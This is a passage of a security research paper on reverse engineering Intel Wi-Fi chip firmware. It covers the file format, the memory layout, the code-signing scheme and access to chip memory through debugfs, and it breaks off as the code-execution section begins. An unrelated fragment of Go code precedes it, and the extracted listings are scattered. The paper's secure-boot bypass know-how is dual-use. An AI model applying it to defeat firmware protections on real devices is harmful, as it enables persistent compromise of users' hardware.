Tok: token.DEFINE,
Rhs: []ast.Expr{ah.DataToByteSlice(data)},
},
&ast.RangeStmt{
Key: ast.NewIdent("i"),
Value: ast.NewIdent("b"),
Tok: token.DEFINE,
X: ast.NewIdent("key"),
Body: &ast.BlockStmt{List: []ast.Stmt{
&ast.AssignStmt{
Lhs: []ast.Expr{ah.IndexExpr("data", ast.NewIdent("i"))},
Tok: token.ASSIGN,
Rhs: []ast.Expr{operatorToReversedBinaryExpr(op, ah.IndexExpr("data",
ast.NewIdent("i")), ast.NewIdent("b"))},
},
}},
},
)
} | pdf |
Ghost in the Wireless, iwlwifi edition
Nicolas Iooss and Gabriel Campana
[email protected]
[email protected]
Ledger Donjon
Abstract. Wi-Fi replaced Ethernet and became the main network pro-
tocol on laptops for the last few years. Software implementations of the
Wi-Fi protocol naturally became the targets of attackers, and vulnera-
bilities found in Wi-Fi drivers were exploited to gain control of the OS,
remotely and without any user interaction. However, not much research
has been published on Wi-Fi firmware, outside of Broadcom models.
This article presents the internals of an Intel Wi-Fi chip. This study,
mostly conducted through reverse engineering, led to the discovery of
vulnerabilities such as arbitrary code execution on the chip and secure
boot bypass, which were reported to the manufacturer.
1
Introduction
1.1
How we met the Intel Wi-Fi chip
One day in January 2021, Gabriel tried to browse a web application
hosted by his laptop using his smartphone. This operation seems simple,
but that day, it made his laptop disconnect from the Wi-Fi network, and
this was reproducible. As this was quite annoying, he opened his kernel
log (listing 1).
1
iwlwifi
0000:01:00.0:
Start
IWL
Error
Log
Dump:
2
iwlwifi
0000:01:00.0:
Status: 0x00000100 , count: 6
3
iwlwifi
0000:01:00.0:
Loaded
firmware
version : 34.0.1
4
iwlwifi
0000:01:00.0: 0 x00000038 | BAD_COMMAND
5
...
6
iwlwifi
0000:01:00.0:
Start
IWL
Error
Log
Dump:
7
iwlwifi
0000:01:00.0:
Status: 0x00000100 , count: 7
8
iwlwifi
0000:01:00.0: 0 x00000070 | ADVANCED_SYSASSERT
9
...
10
iwlwifi
0000:01:00.0: 0 x004F01A7 | last
host
cmd
11
ieee80211
phy0: Hardware
restart
was
requested
Listing 1. Messages appearing in Linux kernel log while requesting a web page
The failed assertion (line 8) indicated an issue in the firmware of the
Wi-Fi chip. This issue was easy to reproduce and only occurred when both
2
Ghost in the Wireless, iwlwifi edition
the smartphone and the laptop were connected to the same Wi-Fi access
point. Why is this happening? Can it be exploited, for example to run
arbitrary code on the Wi-Fi chip?
This event started an adventure in the internals of Intel Wi-Fi chips.
As the interactions between a kernel module and a hardware component
can be very complex, the first step was to better understand the Linux
kernel module driving the chip. This work quickly led to the code actually
loaded on the chip. Nicolas then joined the adventure and developed some
tooling, as using IDA disassembler felt too rudimentary. Analyzing the
code led to the discovery of a simple vulnerability enabling arbitrary code
execution on the Wi-Fi chip.
As the chip was quite old, we also experimented on a more recent
laptop, with a more recent Wi-Fi chip. The differences between the chips
are presented in figure 1. We did not find the same vulnerability on this
chip, and both chips included a mechanism preventing modified firmware
from being loaded (by verifying a digital signature). So at first we did not
have any way to run arbitrary code on this newer chip.
First chip
Second chip
Hardware device
Intel Dual Band
Intel Wireless-AC 9560 160MHz
Wireless AC 8260
Launch date
Q2 2015
Q4 2017
Firmware file
iwlwifi-8000C-34.ucode iwlwifi-9000-pu-b0-jf-b0-46.ucode
Firmware version
34.0.1
46.6f9f215c.0
Intel
website
resources:
https://www.intel.com/content/www/us/en/products/
sku/86068/intel-dual-band-wirelessac-8260/specifications.html
and
https://www.intel.com/content/www/us/en/products/sku/99446/intel-
wirelessac-9560/specifications.html
Fig. 1. Differences between the two studied Wi-Fi chips
Both Wi-Fi chips expose a rich interface to the Linux kernel. Using
it, we managed to dump the code which actually verifies the firmware
signature. Analyzing this code quickly led to the discovery of a simple
signature verification bypass on the first studied chip. Unfortunately this
bypass did not work on the newer chip, even though the root cause of the
issue did not appear to be fixed. After some weeks, we found a way to
bypass the signature verification on the newer Wi-Fi chip too.
Being able to run arbitrary code on the chip enabled us to gain
a more precise understanding of its working. For example, the Wi-Fi
firmware is too large to fit in the memory of the chip and a mechanism is
N. Iooss, G. Campana
3
implemented to store code and data in the main system memory. This is
what Intel calls the Paging Memory in the source code of the Linux kernel
module. The content of this memory has to be authenticated in some
way, to prevent an attacker on the main operating system from modifying
it. In practice, the firmware seems to use a hardware-assisted universal
message authentication code to ensure the integrity of each page in this
Paging Memory. The details of this mechanism do not seem to be publicly
documented anywhere, even though they are key to ensure the security of
the chip.
1.2
State of the art and contributions
The first public remote exploits against Wi-Fi were presented in 2007 [9].
The exploited vulnerabilities were found in Linux kernel modules thanks
to fuzzing. These modules being open-source and their code quality quite
low, multiple vulnerabilities were found in the Wi-Fi kernel modules of
major network cards manufacturers. Public analysis of Wi-Fi firmware
wasn’t a thing at that time, probably because the attack surface of kernel
modules was sufficient for attackers to gain access to a remote computer.
In 2010 [8], the reverse engineering of an Ethernet network card
firmware led to the discovery of vulnerabilities in the ASF protocol im-
plementation. The researchers successfully gained control of this network
card, remotely.
In 2012 [4], the firmware of an Ethernet Broadcom chip was reverse
engineered and modified to include a debugger and eventually a backdoor.
Broadcom’s Ethernet and Wi-Fi firmware aren’t encrypted or signed and
can thus be patched, allowing dynamic analysis. Public datasheets also
help analysis [3] [7]. Vulnerabilities in Broadcom’s Wi-Fi chipsets were
found and exploited in 2017 [2].
In this article, we’ll present the internals of Intel Wi-Fi chips, gained
through the reverse engineering of the associated firmware. While the
firmware source code isn’t available, the Linux kernel module interacting
with these PCI chips is open source and is of great help. Links to the Linux
kernel sources are specific to the version 5.11 in order to have permalinks.
The main contributions of this article are:
— The publication of an Intel Wi-Fi firmware parsing tool,
— Reverse engineering of Intel Wi-Fi firmware,
— Internals of these firmware,
— Exploitation of vulnerabilities in the secure-boot mechanisms,
— Publication of on-chip instrumentation, tracing and debugging
tools.
4
Ghost in the Wireless, iwlwifi edition
2
Finding the firmware code
2.1
Discovering iwlwifi
When studying a hardware component such as the Intel Wi-Fi chip,
one of the first things to do is to identify which one it is: its model name,
revision number, etc. On a laptop which was used to perform experiments,
the kernel log indicated the presence of an Intel Wireless-AC 9560 chip
handled by iwlwifi, the Linux kernel module for Intel Wireless Wi-Fi
(listing 2).
1
iwlwifi
0000:00:14.3:
Detected
Intel(R) Wireless -AC 9560
160MHz ,
2
REV =0 x318
Listing 2. Extract of kernel log showing information about the Wi-Fi chip
In practice, four kernel modules are used to implement the Wi-Fi
feature with this chip, in Linux 5.11:
— iwlwifi 1 handles the hardware interface (through the PCIe bus)
with the chip.
— iwlmvm 2 implements some higher-level interface to the firmware of
chips using MVM (which seems to be an acronym for multi-virtual
MAC).
— mac80211 3 implements a IEEE 802.11 (Wi-Fi) networking stack
in Linux.
— cfg80211 4 provides a configuration interface to user-space pro-
grams.
The modules iwlwifi and iwlmvm support many versions of Intel
Wi-Fi chips. To identify which version is used, these modules use the PCI
device ID. The studied chip uses a PCI device ID 9df0 (listing 3), which
is mapped to a structure named iwl9560_trans_cfg in iwlwifi.5
1
$ lspci
-nn -s 00:14.3
2
00:14.3
Network
controller
[0280]:
Intel
Corporation
Cannon
Point -LP
CNVi [Wireless -AC] [8086:9 df0] (rev
30)
Listing 3. Requesting the PCI device ID using lspci
1 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi
2 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/mvm
3 https://elixir.bootlin.com/linux/v5.11/source/net/mac80211
4 https://elixir.bootlin.com/linux/v5.11/source/net/wireless
5 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/drv.c#L463
N. Iooss, G. Campana
5
To communicate with the chip, iwlwifi configures the first
Base Address Register (BAR) of the PCIe interface, using functions
pcim_iomap_regions_request_all and pcim_iomap_table.6 This is a
standard way of communicating with a PCIe chip using Memory-Mapped
Input/Output (MMIO). After configuring this interface, the kernel module
uses it to retrieve some hardware revision information. Then, at some
point, the function iwl_request_firmware 7 tries to load a file named
iwlwifi-9000-pu-b0-jf-b0-{API}.ucode 8 where {API} is a number
identifying the interface version of the firmware. At the time of the study,
the Linux firmware repository 9 contained 6 such files, with numbers be-
tween 33 and 46. To study the correct firmware, it was necessary to find
out which one was actually loaded. And this information was actually
written in the kernel log (listing 4)!
1
iwlwifi
0000:00:14.3:
loaded
firmware
version
46.6 f9f215c .0
2
9000 -pu -b0 -jf -b0 -46. ucode
op_mode
iwlmvm
Listing 4. Extract of kernel log showing the chosen firmware file
2.2
Dissecting the firmware file
In the hardware world, some devices receive their firmware directly, as
an opaque blob, without much analysis from the operating system. The
studied Intel Wi-Fi chips are not like these devices. Instead, their firmware
files are first decoded by iwlwifi and only some parts are actually sent
to the chips.
In the kernel module, the function which parses the firmware file is
named iwl_parse_tlv_firmware.10 It parses a header followed by a series
of Type-Length-Value entries (TLV) containing much information.
The firmware we studied in the experiments is available on
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/
linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?
6 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/trans.c#L3455
7 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L160
8 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/cfg/9000.c#L29
9 https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-
firmware.git/tree/?h=20211216
10 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L554
6
Ghost in the Wireless, iwlwifi edition
h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a.
This
web page gives the ASCII representation of the firmware, which starts with
the header containing a version string IWL.release/core43::6f9f215c.
After the header, each entry of the file starts with a type which is an
item of enum iwl_ucode_tlv_type.11 The actual code which is loaded
on the chip is contained in entries with type IWL_UCODE_TLV_SEC_RT
and IWL_UCODE_TLV_SEC_INIT (and a few other ones not described here).
Each such entry defines a memory section (hence the _SEC_ in the name)
of the loaded firmware and starts with a 32-bit load address (in Little
Endian bit order) followed by the content.
For example, in the studied firmware file, the bytes at offset 0x2f4
are 13000000 bc020000 00404000 06000000 a1000000. This defines a
TLV entry of type 0x13=IWL_UCODE_TLV_SEC_RT with 0x2bc bytes. This
type enables to decode the remaining bytes as the definition of a firmware
section at the address 0x00404000 which starts with the bytes 06000000
a1000000.
Plugging everything together leads to finding the sections presented
in listing 5.
1
SEC_RT
00404000..004042 b8 (0 x2b8 =696
bytes)
2
SEC_RT
00800000..00818000
(0 x18000 =98304
bytes)
3
SEC_RT
00000000..00038000
(0 x38000 =229376
bytes)
4
SEC_RT
00456000..0048 d874 (0 x37874 =227444
bytes)
5
SEC_INIT
00404000..004042 c8 (0 x2c8 =712
bytes)
6
SEC_INIT
00800000..008179 c0 (0 x179c0 =96704
bytes)
7
SEC_INIT
00000000..00024 ee8 (0 x24ee8 =151272
bytes)
8
SEC_INIT
00456000..00471 d04 (0 x1bd04 =113924
bytes)
9
SEC_INIT
00410000..00417100
(0 x7100 =28928
bytes)
10
SEC_RT
ffffcccc .. ffffccd0
(0x4=4
bytes)
11
SEC_RT
00405000..004052 b8 (0 x2b8 =696
bytes)
12
...
Listing 5. Raw decoding of the sections in the firmware file
This listing contains some strange entries. For example, some SEC_INIT
sections (used at initialization time) seem to be inserted between two sets
of SET_RT sections (used for runtime) and the entry for ffffcccc seems
off. The iwlwifi kernel module contains a macro which defines this last
value as a separator between CPU1 and CPU2 (listing 6).12 Indeed the
studied W-Fi chip contains two processors named UMAC and LMAC! In
literature, MAC usually means Medium Access Controller and is a layer of
11 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/file.h#L47
12 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/file.h#L461
N. Iooss, G. Campana
7
a network stack. According to Wi-Fi-related documents,13 it seems UMAC
means Upper MAC while LMAC means Lower MAC. These documents
also give an overview of how these abstraction layers seem to be stacked
in Intel Wi-Fi chips (see listing 7).
1
# define
CPU1_CPU2_SEPARATOR_SECTION 0xFFFFCCCC
2
# define
PAGING_SEPARATOR_SECTION
0xAAAABBBB
Listing 6. Definitions of section separators
1
----------------------------------------+------------------
2
UMAC (Upper
Medium
Access
Controller ) | Host
Interfaces
3
----------------------------------------+------------------
4
LMAC (Lower
Medium
Access
Controller )
5
-----------------------------------------------------------
6
PHY ( Physical
layer)
7
-----------------------------------------------------------
8
Wi -Fi
Antenna
9
-----------------------------------------------------------
Listing 7. Stack of layers in the Wi-Fi chip (the host communicates with both
UMAC and LMAC)
iwlwifi also defines the notion of Paging Memory. The sections in
this Paging Memory are loaded using an interface different from the other
sections and described later in this article (cf. section 4.1).
All this knowledge gives a better understanding on how the sections
are grouped in the firmware file (listing 8).
1
Runtime
code
for
CPU 1 (LMAC):
2
SEC_RT
00404000..004042 b8 (0 x2b8 =696
bytes)
3
SEC_RT
00800000..00818000
(0 x18000 =98304
bytes)
4
SEC_RT
00000000..00038000
(0 x38000 =229376
bytes)
5
SEC_RT
00456000..0048 d874 (0 x37874 =227444
bytes)
6
7
Initialization
code
for
CPU 1 (LMAC):
8
SEC_INIT
00404000..004042 c8 (0 x2c8 =712
bytes)
9
SEC_INIT
00800000..008179 c0 (0 x179c0 =96704
bytes)
10
SEC_INIT
00000000..00024 ee8 (0 x24ee8 =151272
bytes)
11
SEC_INIT
00456000..00471 d04 (0 x1bd04 =113924
bytes)
12
SEC_INIT
00410000..00417100
(0 x7100 =28928
bytes)
13
14
Runtime
code
for
CPU 2 (UMAC):
15
SEC_RT
CPU1_CPU2_SEPARATOR_SECTION ("cc cc ff ff 00 00 00 00")
16
SEC_RT
00405000..004052 b8 (0 x2b8 =696
bytes)
17
SEC_RT
c0080000 .. c0090000
(0 x10000 =65536
bytes)
18
SEC_RT
c0880000 .. c0888000
(0 x8000 =32768
bytes)
19
SEC_RT
80448000..80455 ad4 (0 xdad4 =56020
bytes)
13 https://www.design-reuse.com/articles/39101/reusable-mac-design-for-
various-wireless-connectivity-protocols.html
8
Ghost in the Wireless, iwlwifi edition
20
21
Paging
code
for
CPU 2 (UMAC):
22
SEC_RT
PAGING_SEPARATOR_SECTION ("bb bb aa aa 00 00 00 00")
23
SEC_RT
00000000..00000298
(0 x298 =664
bytes)
24
SEC_RT
01000000..0103 b000 (0 x3b000 =241664
bytes)
25
26
Initialization
code
for
CPU 2 (UMAC):
27
SEC_RT
CPU1_CPU2_SEPARATOR_SECTION ("cc cc ff ff 00 00 00 00")
28
SEC_INIT
00405000..004052 b8 (0 x2b8 =696
bytes)
29
SEC_INIT
c0080000 .. c0090000
(0 x10000 =65536
bytes)
30
SEC_INIT
c0880000 .. c0888000
(0 x8000 =32768
bytes)
31
SEC_INIT
80448000..80455 ad4 (0 xdad4 =56020
bytes)
Listing 8. Decoding of the sections in the firmware file, grouped by kind
2.3
Mapping the memory layout
There are some oddities in the list of the firmware sections presented
in listing 8. One of them is that some addresses start with 80 or c0 instead
of 00. Again, the Linux source code greatly helps to understand what is
going on: it defines FW_ADDR_CACHE_CONTROL to 0xC0000000 14 and uses
this value to mask the high bits out of some addresses.
During the study we first used these addresses as-is. At some point
we stumbled upon the ARC700 Memory Management Unit (MMU) and
found in its reference manual [1]:
The build configuration register DATA_UNCACHED (0x6A) describes
the Data Uncached region. Memory operations that access this
region will always be uncached. Instruction fetches that access the
same region will, however, be cached as this region relates to data
only.
This region, which is only present in builds with an MMU, is
fixed to the upper 1 GB of the memory map. As the upper 2
GB of the memory is the un-translated memory region, the Data
Uncached region is consequently both uncached and un-translated.
This makes this region suitable for e.g. peripherals. Note that this
region is active even if the MMU is disabled.
Addresses starting with c0 are located in the upper 1 GB of the chip
memory and are therefore uncached and un-translated references to the
memory located at the address given by the remaining bits. And addresses
starting with 80, located in the upper 2 GB of the memory, can be cached
14 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L552
N. Iooss, G. Campana
9
but are never translated by the MMU. For example, the section loaded at
address c0080000 is in fact loaded at physical address 00080000 and uses
high bits in order to bypass the MMU translation. This is illustrated in
figure 2.
00000000
...
3fffffff
40000000
...
7fffffff
80000000
cached
bfffffff
c0000000
uncached
ffffffff
Virtual address space
MMU Translation
No translation
00000000
...
3fffffff
Physical address space
Fig. 2. Virtual and physical address spaces of ARC700 microcontrollers
Moreover iwlwifi’s code contains references to the address of two Data
Close Coupled Memories (DCCM) and a Static RAM Memory (SMEM).15
This enables writing a map of the memory layout used by the Wi-Fi chip,
presented in figure 3. This figure includes some components which are
presented later in this document.
2.4
Verifying the signature
Is it possible to run arbitrary code on the Wi-Fi chip by modifying
the firmware file? Now that the layout of the file has been presented,
it is possible to try modifying any byte in a section. Doing so triggers
a failure reported by iwlwifi and prevents the loaded firmware from
starting (listing 9).
1
iwlwifi
0000:00:14.3:
SecBoot
CPU1
Status: 0x3030003 ,
2
CPU2
Status: 0x0
Listing 9. Error message seen in the kernel log with a modified firmware
15 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/cfg/9000.c#L21
10
Ghost in the Wireless, iwlwifi edition
00000000..00100000
Executable memory (maximum 1 MB)
00000000..00038000 Code used by CPU 1 (LMAC)
00060000..000611ca Loader code which enforces Secure Boot
00061e00..00061f00 Loader Secure Boot RSA public key
00080000..00090000 Code used by CPU 2 (UMAC)
00400000..00490000
SRAM (Static RAM, 576 KB)
00401000..00403000 Loader data, including its stack
00404000..004042c8 Code Signature Section for CPU 1 (LMAC)
00405000..004052b8 Code Signature Section for CPU 2 (UMAC)
00410000..00417100 Code used by CPU 1 Initialization (LMAC)
00422000..00448000 Pages used by CPU 2 (UMAC)
00448000..00455ad4 Code and data used by CPU 2 (UMAC)
00456000..0048d874 Code and data used by CPU 1 (LMAC)
0048f000..00490000 Sensitive data used by CPU 2 (UMAC,
external read access is denied)
00800000..00818000
DCCM (Data Close Coupled Memory, 96 KB)
(data used by CPU 1, LMAC)
00816000..00817000 Stack for LMAC CPU (4096 bytes)
00880000..00888000
DCCM 2 (32 KB)
(data used by CPU 2, UMAC)
00886014..00886334 Stack for task IDLE (800 bytes)
00886334..00886d34 Stack for task MAIN (2560 bytes)
00886d34..00887734 Stack for task BACKGROUND (2560 bytes)
00887734..0O887ffc Stack for interrupt handlers (2248 bytes)
00a00000..00b00000
Hardware Registers (for peripherals)
00a03088..00a0308c Feature flags, including debug mode
00a04c00..00a04c84 Access bits for memory regions
00a24800..00a24b00 RSA2048 coprocessor
00a25000..00a25060 SHA256 coprocessor
00a38000..00a40000 NVM (Non-Volatile Memory)
Fig. 3. Map of the physical memory layout used by the studied Wi-Fi chip
In the error message, SecBoot likely means Secure Boot, a technology
used to ensure that only authorized code can run on a platform. How
is the firmware authenticated? Usually there is some kind of signature,
which is verified against a public key.
Looking at the sections from listing 8 again, they can be grouped
in five parts where each starts with a small section, located at address
0x00404000 for the LMAC CPU, at 0x00405000 for the UMAC CPU
and at 0x00000000 for the paging memory. This section is not parsed by
iwlwifi but it is small enough to be able to guess its layout:
— 0x30 bytes: header, including the build date at offset 0x14 (for
example the bytes 28 01 21 20 encode the date 2021-01-28)
— 0x50 bytes: zeros (probably some padding)
N. Iooss, G. Campana
11
— 0x100 bytes: RSA-2048 modulus, in Little Endian
— 4 bytes: RSA exponent, always 0x10001
— 0x100 bytes: RSA-2048 signature, in Little Endian
— 4 bytes: number of other sections of the group, in Little Endian
— For other sections of the group: 0x10 bytes containing four 32-bit
Little Endian integers {7, size + 8, address, size}
The signature is a RSA PKCS#1 v1.5 signature using SHA256 on
the content of every section, including the small first one without the
signature field. This confirms that the code loaded on the chip is actually
signed.
By the way, even though iwlwifi does not parse the small section, it
includes some references to something named CSS. The meaning of this
acronym is not documented but it likely is Code Signature Section.
This section contains the public key used to verify the signature.
Compared to usual secure boot implementations, this is normal. Indeed,
some chips only contain a fingerprint of the public key, for example in
their fuses, and verify that the given public key matches this fingerprint.
In this case the public key has to be provided. But some chips could forget
to check the public key, which would enable attackers to easily bypass the
authentication. With the studied Intel Wi-Fi chip, modifying the firmware
and re-signing it with a custom key did not work (and triggered the same
error as in listing 9).
2.5
Extracting the firmware code
The previous parts detailed the content of a firmware file, the layout
of the memory and the way the code was authenticated. This knowledge
is more than enough to extract the code which actually runs on the chip.
A last question remains before beginning to analyze it: which Instruction
Set Architecture (ISA) is the code using? A few years ago a tool named
cpu_rec.py was published exactly for this kind of need [5]. It guessed
that the code used the ARCompact instruction set. This instruction set
was supported by IDA Pro disassembler and the generated assembly code
seemed to be meaningful.
Moreover, when downloading the Intel Windows drivers,16 the archives
contain a text file express_logic_threadx.txt describing license amend-
ments for Express Logic ThreadX (listing 10). This file indicates that
wireless connectivity solutions developed by Intel could use ARC 605,
ARC7 and ARC6, which belong to the ARCompact family.
16 https://www.intel.com/content/www/us/en/download/18231/intel-proset-
wireless-software-and-drivers-for-it-admins.html (accessed on 2022-01-17)
12
Ghost in the Wireless, iwlwifi edition
1
Express
Logic
ThreadX
License
Amendment / Addendum
Summary
2
[...]
3
1/9/2008
4
Adds
ARC
605
5
[...]
6
7/11/1012
7
Modifications
made
by
this
amendment
apply
only
to
Intel
group
that
develops
wireless
connectivity
solutions
8
Adds
ARC7
9
[...]
10
6/16/2013
11
Retroactively
replaces
ARM7 ( Amendment
4) with
ARC6
Listing 10. Extract of express_logic_threadx.txt
To better understand the logic of the firmware, support for these
instruction sets was added to Ghidra. This work was already presented at
SSTIC 2021 [6].
3
Vulnerability Research
3.1
Executing arbitrary code
Talking to the Wi-Fi chip through debugfs The previous parts
focused on static analysis, using files and source code. When analyzing a
system, it is useful to also have some way to query its state, debug some
code, etc. For Intel’s Wi-Fi chip, iwlwifi and iwlmvm modules expose
many files in the debug filesystem. For example, iwlmvm/fw_ver contains
information about the firmware which was loaded (listing 11).
1
$ DBGFS =/ sys/kernel/debug/ iwlwifi /0000:00:14.3
2
$ cat
$DBGFS/iwlmvm/fw_ver
3
FW
prefix: iwlwifi -9000 -pu -b0 -jf -b0 -
4
FW: release /core43 ::6 f9f215c
5
Device: Intel(R) Wireless -AC 9560
160 MHz
6
Bus: pci
Listing 11. Reading the firmware version from Linux debugfs
Among these files, iwlmvm/mem enables reading the memory of the
Wi-Fi chip (listing 12)!
1
$ dd if=$DBGFS/iwlmvm/mem bs=1
count =128 |xxd
2
00000000:
2020
800f 0000
4000
2020
800f 0300
e474
....@.
.....t
3
00000010:
2020
800f 0300
3837
2020
800f 0000
c819
....87
......
4
00000020:
6920
0000
6920
4000
6920
0000
6920
4000
i ..i @.i ..i @.
5
00000030:
2020
800f 4700 14b6 6920
0000
6920
4000
..G...i ..i @.
6
00000040:
6920
0000 4a20
0000 4a21
0000 4a22
0000
i ..J ..J!..J"..
7
00000050: 4a23
0000 4a24
0000 4a25
0000 4a26
0000
J#.. J$..J%..J&..
8
00000060: 4a27
0000 4a20
0010 4a21
0010 4a22
0010
J ’..J ..J!..J"..
N. Iooss, G. Campana
13
9
00000070: 4a23
0010 4a24
0010 4a25
0010 4a26
0010
J#.. J$..J%..J&..
Listing 12. Reading the beginning of the chip memory
The kernel module also implements write operations with iwlmvm/mem
but they do not seem to work. During the study we discovered that some
Wi-Fi chips could be booted in debug mode, where writing to iwlmvm/mem
would work fine. However, we only had access to Wi-Fi chips in production
mode, where writing the memory was forbidden.
The debug filesystem also provides another way to read the chip
memory with a file named iwlmvm/sram. This interface provided by this
file only allows reading data from the chip, not writing to it.
Back
to
the
debug
filesystem,
another
file
interested
us,
iwlmvm/prph_reg. The Wi-Fi chip contains many peripheral registers
(sometimes called hardware registers) located at addresses 0x00a*****
and this file enabled reading them. Such registers would usually contain
state information, but in the case of the studied Wi-Fi chip, they also
included the current Program Counter (pc) of the processors! The address
of these interesting registers are defined in Linux 17 (listing 13). Even
though three pc registers are defined, only the first two contain non-zero
values on the studied Wi-Fi chip (listing 14): one for the UMAC processor
and another for the LMAC processor, which this document described
previously (in section 2.2).
1
# define
UREG_UMAC_CURRENT_PC
0xa05c18
2
# define
UREG_LMAC1_CURRENT_PC
0xa05c1c
3
# define
UREG_LMAC2_CURRENT_PC
0xa05c20
Listing 13. Definitions of program counter registers in Linux
1
$ echo 0 xa05c18
> $DBGFS/iwlmvm/ prph_reg
2
$ cat
$DBGFS/iwlmvm/ prph_reg
3
Reg 0 xa05c18 : (0 xc0084f40 )
4
5
$ echo 0 xa05c1c
> $DBGFS/iwlmvm/ prph_reg
6
$ cat
$DBGFS/iwlmvm/ prph_reg
7
Reg 0 xa05c1c : (0 xb552)
8
9
$ echo 0 xa05c20
> $DBGFS/iwlmvm/ prph_reg
10
$ cat
$DBGFS/iwlmvm/ prph_reg
11
Reg 0 xa05c20 : (0x0)
Listing 14. Reading the values of program counter registers
17 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-prph.h#L373
14
Ghost in the Wireless, iwlwifi edition
Talking to the Wi-Fi chip through PCIe The previous section
described very useful files in the Linux debug filesystem. How are they
actually implemented? More precisely, how is the operating system (Linux)
able to read the memory and the peripheral registers of the Wi-Fi chip? An-
swering these questions is important to understand the security boundaries
and how running arbitrary code on the chip is prevented.
Reading iwlmvm/prph_reg makes the Linux kernel execute the func-
tion iwl_trans_pcie_read_prph.18 A simplified implementation of this
function is presented in listing 15.
1
//
drivers /net/ wireless /intel/ iwlwifi /iwl -csr.h
2
/*
3
* HBUS (Host -side
Bus)
4
*
5
* HBUS
registers
are
mapped
directly
into
PCI
bus
space , but
are
6
* used
to
indirectly
access
device ’s internal
memory
or
registers
7
* that
may be
powered -down.
8
*/
9
# define
HBUS_BASE
(0 x400)
10
11
/*
12
* Registers
for
accessing
device ’s internal
peripheral
registers
13
* (e.g. SCD , BSM , etc .).
First
write
to
address
register ,
14
* then
read
from
or
write
to
data
register
to
complete
the
job.
15
* Bit
usage
for
address
registers (read
or
write):
16
*
0 -15:
register
address ( offset ) within
device
17
* 24 -25:
(#
bytes
- 1) to
read
or
write (e.g. 3 for
dword)
18
*/
19
# define
HBUS_TARG_PRPH_WADDR
(HBUS_BASE +0 x044)
20
# define
HBUS_TARG_PRPH_RADDR
(HBUS_BASE +0 x048)
21
# define
HBUS_TARG_PRPH_WDAT
(HBUS_BASE +0 x04c)
22
# define
HBUS_TARG_PRPH_RDAT
(HBUS_BASE +0 x050)
23
24
//
drivers /net/ wireless /intel/ iwlwifi /pcie/trans.c
25
u32
iwl_trans_pcie_read_prph (struct
iwl_trans *trans , u32
reg) {
26
// Here , 0 x03000000
means "read
3+1 = 4 bytes"
27
reg = 0 x03000000 | (reg & 0 x000FFFFF );
28
29
//
hw_base
address
mapping
the
MMIO
space
of the
PCIe
endpoint
30
writel(reg , trans -> trans_specific -> hw_base + HBUS_TARG_PRPH_RADDR );
31
return
readl(trans -> trans_specific -> hw_base + HBUS_TARG_PRPH_RDAT );
32
}
Listing 15. Implementation of iwl_trans_pcie_read_prph
In short, iwl_trans_pcie_read_prph writes a normalized register
index to some offset of the MMIO space (line 30 of listing 15) and reads back
a 32-bit value from another offset (line 31). These offsets are documented
as being part of a Host-side Bus interface (HBUS) and the underlying
18 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/trans.c#L1833
N. Iooss, G. Campana
15
implementation seems to be directly in hardware (it does not involve the
firmware). This impression is strengthened by the fact that this interface
can be used to read the program counters of the chip processors. Doing so
shows values which change so much that this indicates that neither the
UMAC or the LMAC processor is executing code to process host requests
to read peripheral register values. This interface is described in figure 4.
iwlwifi
also
defines
offsets
(macros
HBUS_TARG_MEM_RADDR,
HBUS_TARG_MEM_RDAT, etc.) and functions (iwl_trans_pcie_read_mem
and iwl_trans_pcie_write_mem) to access the chip memory. Of course
these functions cannot be used to write to arbitrary memory locations at
runtime but their use by functions such as iwl_trans_pcie_txq_enable
indicates that some regions of the firmware are indeed writable from
Linux.
Linux user space
/sys/kernel/debug/.../iwlmvm/prph_reg
Linux kernel
iwlwifi module
Wi-Fi chip PCIe endpoint
MMIO address space:
0x40c...0x41c: HBUS registers to read/write memory
0x444...0x450: HBUS registers to read/write registers
Wi-Fi chip registers
0xa05c18: LMAC pc
0xa05c1c: UMAC pc
Wi-Fi chip memory
(cf. figure 3)
PCIe bus
Fig. 4. Interaction between Linux debug filesystem and the Wi-Fi chip
Nevertheless, iwlmvm/mem in the debug filesystem does not use this
interface. Instead the implementation of the read operation (in function
iwl_dbgfs_mem_read 19) boils down to calling iwl_mvm_send_cmd(mvm,
&hcmd); with a host command in the parameter hcmd. This function calls
iwl_trans_pcie_send_hcmd to enqueue a command in queues that the
Wi-Fi chip reads using Direct Memory Access (DMA). This interface
is shared with every command that the Linux kernel sends to the chip
19 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/mvm/debugfs.c#L1799
16
Ghost in the Wireless, iwlwifi edition
(for example to request scanning access points, to configure some radio
properties, etc.) and we can expect that messages sent through it are
processed by the firmware.
When iwlwifi and iwlmvm prepare a command for the Wi-Fi chip,
they use a structure named iwl_host_cmd 20 where they fill the command
ID and parameters. The identifiers consist of two bytes, defining a group
of commands (enum iwl_mvm_command_groups 21) and a command inside
a group. For example, the command used to read memory is:
— group DEBUG_GROUP = 0xf,
— command LMAC_RD_WR = 0 or UMAC_RD_WR = 1, to read memory
from the LMAC or the UMAC processor.
This identifier is packed into a 4-byte structure iwl_cmd_header 22
before being sent to the chip. With this information, it should be possible
to find the code processing such commands in the firmware.
Arbitrary Code Execution The host manages the chip through a
